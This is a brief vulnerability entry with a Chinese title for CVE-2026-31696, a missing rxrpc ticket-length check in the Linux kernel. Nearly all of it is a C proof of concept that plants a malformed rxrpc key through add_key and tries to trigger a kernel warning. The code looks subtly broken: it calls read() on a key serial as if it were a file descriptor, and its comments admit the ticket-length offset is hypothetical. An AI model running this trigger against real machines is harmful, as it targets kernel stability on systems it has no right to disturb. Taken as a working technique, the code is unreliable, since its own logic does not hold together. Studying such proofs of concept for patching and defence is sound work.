CVE-2026-31696 Linux内核rxrpc票据长度校验缺失漏洞

#include <stdio.h> #include <stdlib.h> #include <string.h> #include <keyutils.h> #include <unistd.h> // PoC for CVE-2026-31696 // Trigger missing validation in rxrpc non-XDR parsing path int main() { // Non-XDR path handles payloads <= 28 bytes. // We craft a small payload but with a huge internal ticket length. unsigned char payload[28]; memset(payload, 0, sizeof(payload)); // Set a large ticket length (e.g., 0xFFFF) at the expected offset. // This bypasses the payload size check but fails later validation. // Offset 2 is hypothetical for ticket length in this simplified PoC. payload[2] = 0xFF; payload[3] = 0xFF; // Add the key to the kernel keyring key_serial_t key = add_key("rxrpc", "poc_vuln", payload, sizeof(payload), KEY_SPEC_SESSION_KEYRING); if (key == -1) { perror("add_key"); return 1; } printf("Key added. Attempting to read to trigger WARN_ON...\n"); // Trigger rxrpc_read() which calculates toksize based on the malformed length char buf[256]; read(key, buf, sizeof(buf)); return 0; }